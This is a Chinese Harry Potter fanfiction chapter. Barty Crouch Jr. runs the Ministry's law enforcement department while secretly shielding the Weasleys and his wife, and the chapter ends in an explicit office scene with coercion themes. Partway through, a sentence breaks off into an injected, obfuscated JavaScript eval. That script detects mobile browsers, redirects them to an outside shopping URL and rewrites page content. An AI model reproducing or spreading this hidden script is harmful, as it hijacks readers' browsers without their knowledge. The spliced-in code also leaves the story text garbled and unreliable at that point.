“还没有,”小巴蒂把她抱到扶手椅上,像抱着女儿那样把她的腿抬起,放在自己腿上,“总得做做样子,而且陋居这边是我带队搜查,破坏程度能降到最低,其他人的房子——” “其他地方也被搜查了?”亚瑟不可思议的问。 “当然,是同时搜查,他们会闯进全国每一户与凤凰社有联系的家族的房子里。” “可是我们施了那么多保护咒——”莫丽喃喃的说。 “没用的,莫丽,”小巴蒂打断了她,“食死徒现在有整个魔法部撑腰了,他们可以使用残酷的非法咒语而不用担心被发现和逮捕,我就是这样突破了陋居的所有防护咒,你也看到了,进来之后,我手下的食死徒们丝毫不掩饰他们的恶意,那可不是昏迷咒,那是钻心咒。” 莫丽捂着胸口,感觉快要不能呼吸了,亚瑟也是,但他还是坚强的问了一句,“那些没来得及逃走的客人——” “我建议你不要去想这件事。”小巴蒂委婉的提醒他不要抱着幻想,他知道亚瑟一向乐观,与人为善,但他不想亚瑟把伏地魔和食死徒的行为想得太美好。 因为现实是残酷的。 “酷刑拷问么…”莉安震惊的看着丈夫,眼珠子都不会转了,紧紧盯着他的脸。 “我阻止不了,”小巴蒂严肃的说,“亲爱的,我无能为力,因为一旦我暴露,别说韦斯莱家族,甚至所有跟韦斯莱沾亲带故的人都会被干掉。” 几人沉默了一会儿,痛苦的嚎叫声在婚礼的场地上不停回荡,甚至传进了客厅里面,时间一分一秒的过去,这种难捱的滋味让他们如坐针毡,度日如年。 莫丽断断续续的抽泣着,亚瑟把她搂进怀里,不停的叹气。 “真的会好吗?”莉安听到食死徒的脚步越来越近,搂住了丈夫的手臂。 “会好的,有我呢。”小巴蒂温柔的抚摸着她的头发,在她额头上吻了吻。 等食死徒们穿过一片狼藉的院子,踩碎那两盆为了婚礼新栽的振翅灌木进到客厅里时,韦斯莱夫妇正被粗大的绳子绑着,在他们的头领面前低着头,眼泪啪嗒啪嗒的落在地上,身体不受控制的发着抖。 “头儿,这些人都被钻心咒拷问过了,我们没问出来什么,没有人知道哈利·波特在哪里。” “意料之中啊,”小巴蒂懒洋洋的靠着扶手椅,怀中还揽着一个面色苍白的女人,“波特的确非常善于钻地洞,这样,马上通知格雷伯克和搜捕队行动,一旦有人喊出黑魔王的名字,立刻把他们抓到马尔福庄园去,贝拉会亲自拷问他们。” “明白,那您看这里——” “亚瑟·韦斯莱是魔法部的官员,总不能把人给杀了吧,那谁来做事,你吗?还是黑魔王亲自来?” 食死徒们惶恐的看着他,连声说“不敢”,小巴蒂把女人推开,慢慢站起身,“既然他们什么都不知道,把他们放了吧,毕竟都是纯血,黑魔王不愿意溅洒纯血种的血液。” 说完,他亲了亲双眼无神的漂亮女人,那双红唇被他吻得娇艳欲滴,他安抚似的轻轻拍了拍她的脸颊,“今晚你在这里等着我,明天跟我一起去魔法部。” 面无表情的漂亮女人点了点头。 “走吧,回去复命。” 说完,他带着食死徒们不慌不忙的穿过院子,幻影移形离开了陋居。 37.演技 早上八点半时,经过幻影移形那短暂的黑暗和窒息般的感觉,莉安站在一条小巷子里,这里已经有许多魔法部的巫师正在朝主街道走去。 “早上好,普威特!”一个灰发飘飘的小个子女巫在莉安旁边幻影显形,对她打了个招呼。 莉安淡淡颔首。 马法尔达·霍普柯克——禁止滥用魔法司的助理,一点儿也不在意她冷淡的表情,她们一起朝主街道走去,马法尔达关切的问,“你今天好些了吗?” 莉安没有说话,仍然点点头,神情更冰冷了。 马法尔达的眼中闪过一丝不易察觉的怜悯,她们涌入衣着古怪的人流,沿着拥挤的人行道走了五十米远,那儿有两道黑色尖头栅栏夹护在台阶,一边写着“男”,一边写着“女”,然后走下标着“女”字的台阶,来到了一个普通的地下公厕,墙上贴着脏兮兮的黑白瓷砖。 “早上好,马法尔达,哎哟,还有普威特!”一个穿着绿色长袍的女巫叫道,“真讨厌,是吧?非要我们这样来上班!他们以为会有谁来,哈利·波特吗?” 那女巫被自己逗的嘎嘎大笑,马法尔达不情不愿的附和了两声。 “是啊,”她说,“真够蠢的。” 莉安没有说话,她从口袋里掏出一枚小小的金色硬币,上面印着M.O.M.(魔法部的英文首字母缩写)的凸纹字样,这是她的证明币,自从伏地魔控制了魔法部之后,只有部里的高级官员家里才被允许连接飞路网,其他人必须使用证明币才能进入魔法部。 她把证明币塞入门上的一道狭缝中,进了一个小隔间,然后爬进抽水马桶,虽然站在水里,但她的鞋、脚和袍子都很干燥,她伸手一拉链绳,立即疾速的通过一条短短的滑道,从一个壁炉里冲出来,来到了魔法部。 金色大厅比以前昏暗了许多,原来中央是一个金色的喷泉,在光亮的木地板和墙壁上投射出点点光斑,而现在,一座巨大的黑色石像占据了中心位置,一个女巫和一个男巫坐在雕刻华美的宝座上,俯视着从壁炉里滚出来的工作人员,石像底部刻着几个一英尺高的大字:魔法即强权。 但是仔细看就会发现,雕刻华美的宝座实际上是一堆石雕的人体,成百上千赤裸的人体:男人、女人和孩子,相貌都比较呆傻丑陋,肢体扭曲着挤压在一起,支撑着那两个穿袍子的巫师。 那些是麻瓜。 莉安没有多做停留,向大厅尽头的金色大门走去,她穿过金色大门来到一个较小的厅里,巫师们在二十部电梯的金色栅栏门前面排队,她刚刚排进最近的队伍中,就有一个声音讨好的叫道,“早上好,亚克斯利!” 莉安皱了皱眉,她慢慢回过头,邓布利多死时在场的一个食死徒科班·亚克斯利迎面大步走来。 其他巫师们都垂下眼睛,不做声了,恐惧正在他们中间弥漫,亚克斯利阴沉的、略显残暴的面孔与他那身镶嵌着金丝的华丽、飘逸的长袍不太相称,他没有理睬出声的那个人,而是对着另一个哆哆嗦嗦的男巫轻蔑的开口了。 “我正要下楼去审讯你老婆,你怎么没在那里握着手陪她等着?已经要跟她划清界限了吗,啊?真是明智的,下次记得找一个纯血种。” 那男巫战战兢兢的说,“可她是个混血…亚克斯利…求求你——” “噢,你是在跟我说,你伪造家谱了,是吗?”亚克斯利轻声的说,“我怎么记得你老婆的父母是麻瓜蔬菜商?” 旁边有人大笑起来,莉安没有笑。 “我娶的女人决不会与那些垃圾混为一谈的,不过,假设我的老婆被指控为泥巴种,而法律执行司的头儿需要表忠心,我一定会不顾一切的把他的事当作头等大事去办,你明白我的意思吗?” “明白。”那男巫抽泣着低声说。 “那就跟我来吧,如果还得不到令我满意的答案,那你老婆的血统成分就会比现在更成问题了。” 莉安觉得有些恶心,她面无表情的看着亚克斯利,对方却朝她点点头,露出了一个讨好的笑容,显然以为她会对他这样颐指气使的教训其他巫师表示欣赏,正当他转身朝另一部电梯走去时,他们身后又传来了几声倒吸一口凉气的声音,接着一个身着低调黑色巫师袍的男巫来到了他们面前。 来人揽住了莉安的肩膀,亚克斯利脸上的笑容更大了,“巴蒂!你不过来一起去审讯那些泥巴种吗?” “一会儿我会去的,”小巴蒂的语调里带着他特有的不耐烦,“一些泥巴种还没那么重要,让他们等着。” “没错,就应该让他们等着,”亚克斯利对其他人大声说道,“瞧瞧,巴蒂·克劳奇的眼光才是最好的,他找的老婆可是纯血种!” 他们面前的金色栅栏门哗啦打开了,莉安和小巴蒂进了他们的电梯,没有别人敢进来,所有人都恐惧的低着头,还有些人勉强自己笑了几声,跟随亚克斯利一起夸赞小巴蒂,但眼神无疑都是同情的望着莉安——被夺魂咒控制的傲罗成了食死徒的妻子。 并且她还是有夫之妇,但据说丈夫已经被巴蒂·克劳奇二世杀死了。 栅栏门哐当关上,电梯开始上升。 “唉!”看到众人心疼和怜悯的目光,莉安无奈的叹了口气,喃喃的说,“我明明就是你的老婆——我是说,我本来就是巴蒂·克劳奇的妻子,但是现在所有人都认为你强占了我——” “兵行险招,”小巴蒂对此毫不在意,“你知道的,我控制不住想跟你亲近,为了不让他们起疑,只能委屈你了。” “我只觉得委屈你了,这下你的名声可更糟糕了,毕竟我的隔间挡板上一直贴着你的照片,他们以为我发誓要抓到你,但现在这个情况,所有人都认为你肯定是在报复我,他们更害怕你了。” “但是没关系,宝贝,”小巴蒂亲昵的蹭了蹭她的脸颊,“要的就是他们怕我,这样我就能光明正大的护着你,省得那些家伙在你面前跳来跳去,你还要忍气吞声,魔法部已经这个德行了,你看看那些巫师,一个个敢怒不敢言。” “是啊,虽然怒其不争,但我也知道他们害怕自己成为下一个失踪者,害怕自己的孩子下一个就遭到袭击,毕竟不是谁都有勇气对抗黑魔头的。” 顿了顿,莉安又问,“那些麻种巫师怎么办?” “看情况,抵死不从的扔进阿兹卡班,态度好一些的没收他们的魔杖。” “不能救他们吗?” “除非他们移民,”小巴蒂心不在焉的说,“乌姆里奇经常报复那些不小心得罪过她的巫师,比如飞天扫帚设计师阿基·阿尔德顿的儿子就被指控为泥巴种,她又不是个食死徒,简直离谱的让人发笑。” “别担心,一些稍微能看清局势的巫师已经逃掉了,”小巴蒂看她露出了一个憎恶的表情,马上安抚道,“比如德克·克莱斯韦,还有唐克斯的父亲。” “那些麻种小巫师呢?”莉安更担忧了,“他们也要接受审判吗?他们甚至还不会魔法——” “噢,这个你不用担心,我偷偷调走了那个区域的摄魂怪,他们在阿兹卡班很安全——肯定不会像他们的家那样舒适,但没有摄魂怪已经是最大的保障了。” 这时,电梯停了下来。 “第一层,魔法部长办公室及后勤处。”一个空洞的女声说。 “你按错楼层了吗?”莉安惊讶的问。 “没有,我就是要到一楼。”小巴蒂挑了挑眉。 金色栅栏门打开了,两个人站在他们面前,正在密切的交谈:一个长发男巫身穿黑底绣金的华丽长袍,一个矮矮胖胖、长得像癞蛤蟆的女巫短发上戴着天鹅绒蝴蝶结,胸前抱着个笔记板。 “啊,克劳奇!”乌姆里奇看着小巴蒂,用甜的腻死人的声音说,“是亚克斯利请您来的吗?” “不,我找部长。”小巴蒂转头看向那个穿着镶金黑袍的男巫。 “有何贵干,克劳奇?”新任魔法部长皮尔斯·辛克尼斯问道,他黑色的长发和胡须中夹着缕缕银丝,大脑门的阴影遮着闪烁的双眼,像一只螃蟹正从岩石底下往外张望着。 “一件小事,”小巴蒂低声说,“关于你办公室的一位助理珀西·韦斯莱。” “啊,”辛克尼斯说,“有人撞见他跟不良分子说话吗?还是说他爸爸又犯了什么事?” “不,”小巴蒂不耐烦的说,“我觉得把他放在我身边就近监视比较好。” “啊,你说的对,”辛克尼斯说,“要我说,纯血统的叛徒和泥巴种一样坏。” “那就这么说定了,再见,部长。” “再见,克劳奇。” “等等!克劳奇!”乌姆里奇看看笔记板,又望望小巴蒂,语气娇嗔,“今天有十个人,其中一个还是魔法部雇员的妻子!啧,啧…就在这儿,魔法部的内部!我们需要您的指示。” 她跟着小巴蒂走进电梯,站在莉安旁边,狠狠的瞪了她一眼,又甜甜的说,“我们直接下去好吗?” 莉安无语到了一定程度,她的胃都在抽搐着想要呕吐,因为这个老癞蛤蟆居然跟她雌竞,对小巴蒂撒娇! “我得先送我妻子去二楼,”小巴蒂按了按钮,栅栏门关上了,“你自己下去吧。” “那好吧,我们会等你的。”乌姆里奇用甜的发腻的声音说,她又矮又胖,长着一张宽大的、皮肉松弛的脸,几乎看不见脖子,一张大嘴向下耷拉着,她的眼睛很大,圆圆的,微微向外凸起,她戴在短短鬈发上的那个粉色天鹅绒蝴蝶结让莉安想起了一只绿头苍蝇,她正准备伸出黏糊糊的长舌头去捕捉呢。 “第二层,魔法法律执行司,包含禁止滥用魔法司、傲罗指挥部和威森加摩管理机构。”那个空洞的女声说。 金色的栅栏门又一次打开了,几架纸飞机嗖嗖的飞进了电梯,绕着他们头顶从电梯天花板上悬挂下来的那盏灯慢悠悠的飞舞,它们的颜色是一种浅紫色,机翼边上还盖着“魔法部”的戳记——这是部门之间传递消息的字条,以前用的是猫头鹰,但它们搞得办公桌上到处都是粪便,所有人都苦不堪言,后来就用了纸飞机代替。 两人踏出电梯,来到一条两边都是房门的走廊上,他们走过一个窗户时,清晨明亮的阳光洒了进来。 魔法部在地下,这些是施了魔法的窗户,魔法维修保养处决定这里每天是什么天气,之前有一次这里刮了两个月的飓风,因为那些雇员想涨工资。 他们转过一个拐角,穿过两扇沉重的栎木大门后,进入了一片凌乱嘈杂、被分成许多小隔间的开放区域,气氛非常压抑且沉重。 没有人说话,传递消息的字条从小隔间里飞出飞进,像一枚枚微型火箭,最近的一个小隔间上歪歪斜斜的挂着一个牌子:傲罗指挥部。 傲罗们在他们小隔间的墙上贴满了东西,从被通缉的巫师的头像,到他们家人的照片,再到他们喜欢的魁地奇球队的海报,还有从《预言家日报》上剪下来的文章,简直五花八门,包罗万象。 这时,一个脑袋后面的马尾辫比比尔的还长的男巫正在给他的羽毛笔口授一篇报告,看到小巴蒂和莉安一起出现,他连忙跳了起来。 “司长,莉安,早上好。” 莉安僵硬的点点头,没有说话。 “记得下班前把报告给我,威廉森,”小巴蒂眯了眯眼睛,“巨人在伦敦东部捣乱那篇。” 说完,他拥着她继续往前走,一只眼睛蒙着眼罩的女巫普劳特正隔着小隔间的挡板跟打扮干练的男巫赛维奇用眼神交流,她看向小巴蒂时带着刻骨铭心的仇恨。 “早上好,普劳特,”小巴蒂的语气里充斥着浓浓的恶意,“你以后不用来了,马上去阿兹卡班,我已经下了调令。” “这是什么意思?”普劳特大声嚷嚷道,“难道你要把我丢进阿兹卡班?怎么,你现在迫不及待了是吗?” “是的,”小巴蒂邪恶的笑了笑,“你就去看守第五层那些泥巴种小巫师,没有我的允许不准回来。” “你——” “你自己去还是我送你去。”莉安举起了魔杖。 “你这是助纣为虐!”普劳特恶狠狠的瞪着她。 “住口!”德力士从他的隔间猛地站起身,拔出魔杖大喊一声,他面色苍白,眼神混浊,就在这剑拔弩张的时刻,威廉森和赛维奇连忙拉住了怒气冲冲的普劳特。 “司长让你去就去!”威廉森捂住了她的嘴巴,“你哪儿那么多废话!” “是啊,这可是一份求之不得的好差事!”赛维奇对她猛眨眼,用口型无声说“孩子”。 普劳特看他们一副三打一的架势,还有两个人劝架,逐渐冷静下来,她从鼻子里哼了一声,回到自己的隔间里收拾东西去了。 小巴蒂露出一个得逞的表情,拉着莉安走过一排小隔间,走进倒数第一个小隔间里。 这个隔间的挡板上贴着小巴蒂两次越狱的剪报和入狱照片,第一张照片里的他看起来可怜兮兮的,还掉着眼泪,第二张照片则得意洋洋,看起来比第一张照片里成熟了不少,还有他伪装穆迪时,他们在三强争霸赛留下的合影,中间一块没被他的信息遮住的地方贴着一张三个孩子的照片,两个大的在沙发上排排坐,手里还挥舞着戏法魔杖,而另一个最小的躺在他们身前的襁褓里。 “孩子很可爱,”小巴蒂呲牙咧嘴的笑出了声,“每次看到他们我都很喜欢,你放心,你已经跟了我,我会把他们当成我的亲生孩子。” 装作忙碌实则偷听的几个傲罗简直被他的无耻震惊到了,毕竟普威特是有丈夫的,她入职傲罗时已经生下了两个孩子,这在傲罗指挥部不是秘密。 这个无耻的食死徒用夺魂咒控制了她,据说还杀死了她的丈夫! 普威特如果有一天挣脱了夺魂咒,她该有多难过啊,恐怕连想死的心都有了,她很有可能会和这无耻的家伙同归于尽… 众人默默的同情了莉安一瞬,继续低头做自己的事了,毕竟在战争时期这种事情屡见不鲜。 莉安对自己丈夫的演技简直叹为观止,他不仅仅是演技出神入化,他的脸皮也是刀枪不入,无耻的让人瞠目结舌,只能感叹一句:人不要脸天下无敌。 她望了望不远处的两个隔间,一个凌乱的堆着一些报告和资料,就像它的主人匆匆忙忙的去其他部门商讨对策了,马上就会回来那样——金斯莱的位置,而另一个干净整洁,虽然没有灰尘,但傲罗本身就很忙,桌面上应该有许多亟待处理的文件才对,这代表它的主人可能已经很久没有来过了——唐克斯的位置。 “唐克斯怀孕了,我准了她的假,”小巴蒂对她眨眨眼睛,用不大不小所有人都能听到的声音说,“她嫁给了一个肮脏下贱的食腐动物,狼人,哼…真是无耻的堕落,我看她是想无限期休假!” “克劳奇先生,”这时,珀西匆匆的跑进傲罗指挥部,手里还拿着一支羽毛笔和一卷厚厚的羊皮纸,显然是随时准备记录,他涨红了脸,低声说道,“亚克斯利先生说请您去十层的审讯室。” “我知道了,”小巴蒂点点头,看着他意味深长的说道,“我听到有传闻说你很喜欢我父亲,今天找个时间收拾东西来我的部门,部长已经同意了把你调到法律执行司做我的助理。” 说完,他拍了拍呆愣在原地的珀西的肩膀,懒洋洋的说,“部长有那么多助理,你在他那里可出不了头,但在我这儿就不一样了,希望能你拿出当年在国际魔法合作司时的态度,像对待我父亲那样认真的为我做事,你懂我的意思吗?” 珀西偷偷瞟着自己的表妹,希望能获得一些勇气,但莉安面无表情,就像在看一个陌生人似的,他猛然想起,这半个月部里一直都有小道消息在雇员们之间流传,据说傲罗指挥部一个法力高强的年轻傲罗中了夺魂咒,被小巴蒂·克劳奇强行娶回家做了妻子,他一直都没有留心那个傲罗是谁,但这一刻他终于恍然大悟,原来是他的表妹! 毕竟在三强争霸赛时,小巴蒂·克劳奇伪装的假穆迪就一直很偏爱表妹,对外声称是对他手下英勇牺牲的傲罗普威特兄弟的看重以至于爱屋及乌,但现在看来根本不是那么回事! 他一定觊觎表妹很久了! 这些念头在珀西心里极快的打了个转,但面上却不动声色,他一直在思索怎么脱身,他必须想办法逃出去,但这在部里可不容易,因为食死徒和乌姆里奇一直在把反叛者抓去坐牢… 珀西那双藏在玳瑁框眼镜后面的眼睛专注的盯着小巴蒂,然后对他深深鞠了一躬,头几乎碰到了自己的膝盖。 他的声音难掩激动,“谢谢您,克劳奇先生!我会努力的,现在您想要一杯茶吗?我——” “不用,你现在就跟我下去吧,”小巴蒂拒绝了他的殷切讨好,转头看着莉安,语气又变得温和了,“目前暂时没什么任务给你,等我回来的时候,你来我办公室一趟。” 莉安点点头,小巴蒂离开了傲罗指挥部,珀西似乎完全无视了她的存在,抓着那卷羊皮纸和羽毛笔,背挺得直直的,鼻孔朝天,大步流星的跟在小巴蒂身后走掉了。 莉安不易察觉的叹了口气,沮丧的坐在自己的隔间里,盯着桌子上那些这半个月来有重要信息的报纸。 最上面的一张报纸上,头版是一张大照片,一个英俊的金发男人正看着她,沉稳的表情压不住他眉宇间得意洋洋的派头,上面的标题是:巴蒂·克劳奇二世洗刷冤屈,接任魔法法律执行司司长。 「巴蒂·克劳奇二世,曾经傲罗指挥部优秀的实习傲罗,在两次被误判入狱后证实为曾经魔法部的绝密卧底,经过了十六年的卧薪尝胆以及众人的误解后,魔法部已经解密了他的卧底身份,今日被任命为魔法法律执行司司长,该决定系魔法部几项人事变动中最重要的一项,原魔法法律执行司司长皮尔斯·辛克尼斯在鲁弗斯·斯克林杰辞职后接任魔法部长,科班·亚克斯利接任魔法法律执行司副司长。」 莉安把这张照片和新闻剪了下来,贴在隔间挡板上,这面墙密密麻麻的都是小巴蒂的信息,看起来快要贴满了,她柔情蜜意的望着丈夫的面孔,过了一会儿才把剩下的报纸翻了个面,开始看第二版:麻瓜出身登记。 「魔法部正在对所谓“麻瓜出身”进行调查,以便了解他们是如何拥有魔法秘密的。 神秘事务司最新研究显示,魔法只能通过巫师的生育遗传,由此可见,如果没有验证确凿的巫师血统,所谓麻瓜出身的人就可能是通过盗窃或暴力而获取魔法能力的。 魔法部决心根除这些盗用魔法能力者,为此邀请每一位所谓麻瓜出身的人到新任命的麻瓜出身登记委员会面谈。 人事变动:魔法部高级副部长多洛雷斯·乌姆里奇兼任麻瓜出身登记委员会主任。」 莉安深深的吸了口气,把报纸揉成团,看向下面那张报纸,上面写着西弗勒斯·斯内普即将出任霍格沃茨校长,因为原麻瓜研究课教师凯瑞迪·布巴吉已经辞职,将由阿莱克托·卡罗接任,她的哥哥阿米库斯·卡罗出任黑魔法防御术课教师。 她在心里诅咒这该死的卡罗兄妹明年就暴毙,反正伏地魔诅咒了黑魔法防御术这个职位,毕竟从来没有一位教授能撑到九个月以上,都是非死即伤。 这可是她亲手抓进阿兹卡班的食死徒,可是他们又越狱了!天文塔之战成功逃走的只有亚克斯利、斯内普和德拉科,可现在食死徒都把阿兹卡班当成老家了,想来就来,想走就走! 而伏地魔干预霍格沃茨的政策才是最恐怖的,因为现在每个少年巫师都必须入学,但以前从来不是强制性的,虽然几乎所有英国巫师都在霍格沃茨上过学,不过也有一小部分的巫师是在家自学或到国外留学,布斯巴顿和德姆斯特朗从来不拒绝欧洲国家的孩子。 但现在这样,伏地魔就能把所有的巫师从小就置于他的监视之下,并且这也是一个残忍的清除麻瓜出身者的办法之一,因为学生必须持有血统证明——表明他们已向魔法部证明自己的巫师血统,才能获准入学。 这些日子,那些麻瓜出身的十一岁的孩子兴高采烈的翻看着新买的魔法书,幻想着神奇的魔法的世界,他们踏进魔法界时,却发现他们被带到了魔法部,又被乌姆里奇轻蔑的送进了阿兹卡班,他们永远也见不到霍格沃茨,甚至永远也见不到自己的家人了。 小巴蒂掌控了法律执行司之后,正在慢慢打磨能动用的势力,把良心未泯的傲罗——普劳特送去阿兹卡班看守小巫师,一方面是普劳特嫉恶如仇但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734573|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为人善良,她一定会照顾那些小巫师们,另一方面是如果她留在傲罗指挥部,亚克斯利肯定会想办法迫害她,甚至杀死她这个疑似“反叛者”。 从辛克尼斯那里把珀西索要过来也是为了保护他,亚瑟在魔法部经营多年,人脉甚广,尚且有自保能力,但韦斯莱家族是出了名的纯血种叛徒,有亲麻瓜倾向,并且亚瑟是邓布利多派系,明牌的凤凰社成员,他的处境非常不妙:两年前亚瑟在神秘事务司遇袭一事就是伏地魔亲自干的——他当时附身在那条蛇身上,差点咬死了亚瑟。 而珀西作为亚瑟的儿子,就算他进了魔法部工作以来,积极的和韦斯莱家族、和他的父亲划清界限,但在所有人尤其是食死徒眼中,他身上仍然盖了个疑似“不良分子”的戳,莫丽和亚瑟很爱这个儿子,哪怕他伤透了他们的心,但真正无条件爱着子女的父母不会计较孩子给他们带来的伤害甚至抹黑,这是小巴蒂一直渴望却没有得到的——当他食死徒的身份暴露时,在没有确凿证据、没有隆巴顿夫妇证词的情况下,老克劳奇迫不及待的把他扔进了阿兹卡班来维护自己的名誉,那场游街示众一般的审判并且当着魔法界的所有人的面与他断绝父子关系,给小巴蒂带来了深重的伤害,就算在摄魂怪绝望的威压之下,他也只是哭泣尖叫着喊母亲——他再也喊不出父亲,他已没有父亲。 再经历了十几年的夺魂咒后,小巴蒂彻底崩溃了,爱他的母亲已经死去,父亲却牢牢的把他控制在家里,所以他把全部希望押在伏地魔身上,指望这个对他如父亲一般的人来拯救他,因此他横下心来,决定把邪路走到底,如果没有她出现,几次三番的拯救他,又跟他结婚生子,用家庭和爱抚慰他,恐怕小巴蒂是永远都不会回头的。 偏执又疯狂的男人得到义无反顾的偏爱后会变成什么模样? 大概就是如今的小巴蒂吧。 每次她看着他,她都有些惆怅的想,她应该在刚把他带回家那个时候就握住他的手,再把另一只手放在他头发下面的耳后,等他醒了,就告诉他她内心的一切。 这个世界上仍然有人记得他,怀念他,为他的死讯而悲伤,当他再次出现时,她并不恐惧他会杀死她,看到他的时候,她就好喜欢他。 她爱他,爱,就是它,这个让她一直都害怕的词,她提心吊胆的回避他的目光,不敢爱他,当他暗示他也喜欢她时,即使已经感受到了一些蛛丝马迹,但她不敢相信,她想把他赶走,却被他捉住,不得不面对他,当这个词终于被她说出来时,击碎了她的理智、责任、义务、骄傲甚至自尊,但也驱散了这些年挥之不去的阴霾,粉碎了她害怕的雷声和沉醉在下雨时希望他突然出现的幻想。 因为他真的出现了。 她想说“别”,但有没有感叹号?很可能有,也可能没有,但她想,那不是感叹号,而是省略号,代表了她一生中太多的欲言又止,她渴望触碰他却像被火烧着了一样收回的手。 所以她只能说:别… 别这样,巴蒂·克劳奇。 别这样,你在骗我是不是? 别这样,再这样我就会爱上你了。 下午时,小巴蒂回来了,身后还跟着亦步亦趋的珀西,他挥挥手,让珀西去一楼收拾东西,然后把他安排在司长办公室外面的一个单独隔间里,那是为司长助理准备的。 “进来,莉安。” 莉安面无表情的看着其他傲罗,他们立刻正襟危坐,一时翻动文件和用羽毛笔唰唰写字的声音不绝于耳,再也没有人抬头盯着她,她才慢条斯理的走进了司长办公室。 这是一个很气派的房间,铺着古色古香的精美地毯,漂亮的大理石壁炉对着长长的框格窗,小巴蒂坐在木制的办公桌后面,一个相框正对着他——莉安和他最近拍的合影,他身后的墙壁上还挂着个邋里邋遢的男巫的画像,但是看起来好像不会动的样子。 小巴蒂抬起魔杖用了闭目塞听,然后变形出两个杯子,魔杖轻轻敲了敲杯口,祖宅里的冰镇樱桃汁就出现了,一个杯子飞到莉安手上,他则一口气干了自己那一杯。 “乌姆里奇真是让我叹为观止,”他喘了口气,阴沉沉的说,“不过是个混血种,对麻种的态度居然比纯血种还歹毒,如果不是黑魔王看不上这种酷吏一般的走狗,觉得她更适合给亚克斯利打下手,她其实应该做食死徒。” “又迫害了十个人?”莉安抓紧了杯子。 “没错,”小巴蒂疲惫的闭上了眼睛,揉了揉太阳穴,“只除了一个伪造家谱的麻种女巫,亚克斯利威胁了她的丈夫,那男巫不得不屈服,出卖了很多他那个部门的机密情报,把他老婆保下来了。” “那现在怎么办呢?”莉安有些焦虑,毕竟政治斗争的事她从来都帮不上忙。 “找个机会我会把亚克斯利调到其他部门,卢多·巴格曼在三强争霸赛时跟妖精借了一大笔钱下注,等我把这件事捅出去,让他下台,反正体育司是个清闲的部门,法律执行司有我一个人就可以。” “黑魔头会同意吗?” 小巴蒂被她逗笑了,“为什么不同意?我为了他坐牢,又尽心尽力的帮他复生,亚克斯利算什么东西?他不过是花言巧语宣称中了夺魂咒从而躲过当年那次清算的道貌岸然者罢了。” “你要知道,论忠心,只有贝拉能跟我一战,但是她没有脑子,她在阿兹卡班坐牢到底有什么用呢?噢,当然,她的姿态无疑是好的。”小巴蒂嘲讽的说。 莉安忍不住笑了笑,抿了一口樱桃汁。 小巴蒂对她招了招手,莉安走过去,他立刻把头埋在她的胸口上蹭来蹭去不停嗅闻。 “你真的好香啊宝贝…”他陶醉的说。 “你要干嘛?”莉安一边惊讶的看着他,一边抚摸他的头发,“这可是在办公室——” “我就是要在办公室。”小巴蒂睁开眼睛,直勾勾的看着她。 莉安仿佛都不会动了,但他的眼神明明白白的告诉她,此刻他要对她索取。 她不禁思索,她试图表现出震惊的样子是不是用力过猛了?得到了反效果,他又认为她在嘴硬?就像他们再一次遇到彼此时,他们的爱陷入了纠结的境地,以至于此刻他这份强烈的渴望不是因为得到了爱,而是急于想让她证明什么,就像一个人在拿到另一个人家的钥匙后生怕被一脚踢开,又像怕被扔出船外,还被要求淹死也不要大呼小叫,不要坏了别人的兴致。 她想拒绝,但他不容置疑的亲吻已经压在了她的唇上,仿佛怕被打包抛弃那样,他现在就像一只奇怪的奶牛猫,一边吞噬着她的内脏,一边又舔着她的脸把她制服。 可这就是小巴蒂·克劳奇,她深深爱着的、永远无法拒绝的小巴蒂·克劳奇。 (章末车) 车前小剧场: “在这里不行!” “怎么不行?”小巴蒂急吼吼的去撕扯她的长袍,莉安一直躲避着,最后被他按在了办公桌上。 “巴蒂!巴蒂!”她一手推着他的胸膛,另一只手想阻止他作乱的两只奶牛猫似的爪子,却被小巴蒂一只手轻松的扭住了,他的另一只手极快的在她袍子下上游走。 “你知道吗,亲爱的,这以前就是老巴蒂的办公室,”小巴蒂神经质的笑了笑,露出了一个非常变态的邪恶表情,“我就想在这里做,一想到他气急败坏的样子我就开心,无与伦比的开心…” 莉安觉得他还是有小孩子的特质残留,童年给他的创伤一定很大,哪怕坐到和父亲一样的位置上,他也总像个得不到糖果就要在地上撒泼打滚的两岁儿童。 “你疯了,冷静一点儿,这是司长办公室,”她不得不出声阻止,“巴蒂,你不能这样——” “我就要这样!”小巴蒂委屈的瘪了瘪嘴,冲她高喊,“我就要!我要!” “不许胡闹,松开!” “你是不是不爱我了?”小巴蒂的眼睛眨了眨,立刻就湿润了,他大声嚷嚷道,“以前你都会满足我的,现在你都不心疼我了!” “我怎么会不心疼呢——” “证明给我看!”小巴蒂猛扑上来,咬住她的唇,但没有用力,只是湿漉漉的舔舐着,等她妥协张开牙齿,他的舌头立刻长驱直入。 这个吻持续的时间很长,一股清淡的苦艾酒味在两人的口腔蔓延开来,莉安被他吻得模模糊糊,小巴蒂不容置疑索取快要驱走她的最后一丝理智,等他终于放开了她,她立刻抓紧了他长袍的领口。 “别,巴蒂,回家,回家我——” “就要在这里!现在!”小巴蒂不依不饶的叫着,袍子里的手极快的摘掉了那块已经湿润的布料。 “你已经动情了!” “不,我没有,那是不小心——” “你想说不小心水洒在这里了是吧?”小巴蒂气得狠狠的捏了她一把。 车中小剧场: “我看你就是欲擒故纵,你勾引我,你知道我就喜欢你玩这一套,你越拒绝,我就越想要,是不是你也喜欢这样?喜欢无法拒绝,喜欢被我占有?” “没有。”莉安的脸都被他羞红了,她知道因为自己年幼成了孤儿,所以一直有一种被抛弃感和不配得感,但是她又非常渴望有人能陪伴她、爱她,而小巴蒂发疯一般表达爱意的方式虽然扭曲但是很强烈,是对她这个人本身的肯定,她一再拒绝他,其实是想要一而再再而三的确认他的爱意。 她想坚定的被选择。 他比她也好不了多少,同样非常可怜,因为这是□□上的强制,精神的祈求,他对她一直在索求爱,希望她回馈同等热烈的爱和认同感,所以在他们结婚后,小巴蒂发疯的次数越来越少,等他们儿女双全后,在不聊起老克劳奇的情况下,他成为了一个可靠又令人安心的丈夫和父亲。 